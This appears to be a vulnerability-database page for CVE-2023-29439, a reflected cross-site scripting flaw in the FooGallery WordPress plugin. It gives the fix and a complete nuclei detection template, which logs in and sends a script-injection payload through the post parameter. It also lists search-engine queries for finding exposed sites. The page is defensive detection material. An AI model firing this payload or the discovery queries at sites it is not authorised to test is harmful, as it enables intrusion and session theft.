HexBrain

Browse / CVEs / CVE-2023-29439

CVE-2023-29439· fooplugins / foogallery· CWE-79

FooGallery plugin <= 2.2.35 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.7%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it

Reflected Cross-Site Scripting (XSS) vulnerability in FooPlugins FooGallery plugin <= 2.2.35 versions.

Impact

Authenticated attackers can inject malicious JavaScript code through the post parameter, potentially stealing admin session tokens or performing unauthorized actions as administrators.

Fix

Upgrade to FooGallery version 2.2.36 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/post-new.php?post_type=foogallery&post=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "data-gallery_id=\"\\\"><script>alert(document.domain)</script>\"" and "foogallery-image-edit-modal" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-29439 -u <target>

The full check
id: CVE-2023-29439

info:
  name: FooGallery plugin <= 2.2.35 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) vulnerability in FooPlugins FooGallery plugin <= 2.2.35 versions.
  impact: |
    Authenticated attackers can inject malicious JavaScript code through the post parameter, potentially stealing admin session tokens or performing unauthorized actions as administrators.
  remediation: |
    Upgrade to FooGallery version 2.2.36 or later.
  reference:
    - https://lourcode.kr/posts/CVE-2023-29439-Analysis?_s_id=cve
    - https://wordpress.org/plugins/foogallery/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29439
    - https://patchstack.com/database/vulnerability/foogallery/wordpress-foogallery-plugin-2-2-35-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29439
    cwe-id: CWE-79
    epss-score: 0.01747
    epss-percentile: 0.78007
    cpe: cpe:2.3:a:fooplugins:foogallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: fooplugins
    product: foogallery
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/foogallery/
    fofa-query: body=/wp-content/plugins/foogallery/
    publicwww-query: "/wp-content/plugins/foogallery/"
  tags: cve,cve2023,xss,wordpress,wp-plugin,wp,foogallery,authenticated,fooplugins,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/post-new.php?post_type=foogallery&post=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-gallery_id="\"><script>alert(document.domain)</script>"'
          - 'foogallery-image-edit-modal'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from